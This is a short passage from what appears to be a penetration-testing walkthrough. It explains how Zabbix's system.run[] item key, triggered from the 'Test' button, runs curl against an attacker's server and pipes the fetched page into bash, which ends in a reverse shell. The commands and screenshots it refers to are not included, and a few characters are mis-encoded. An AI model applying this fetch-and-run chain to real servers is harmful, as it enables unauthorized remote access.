One of the interesting Key is allowing us to run command on the Zabbix server which isย system.run[]
.
We can exploit the above feature to run our payload on the zabbix server. With the below command basically that it will run curl and connect to our attacking server and open index.html by default where the output of the index.html will be piped to bash.
To execute the command above, then you need to press the โTestโ button that is place on the bottom of the page:
As you can see that when you press the get value button then it connects to the http server because of curl is triggered. When the index.html has been read and the payload in the index.html is piped to bash to chain the execution to run the payload directly where eventually the reverse connection is established as shown in the picture 3:
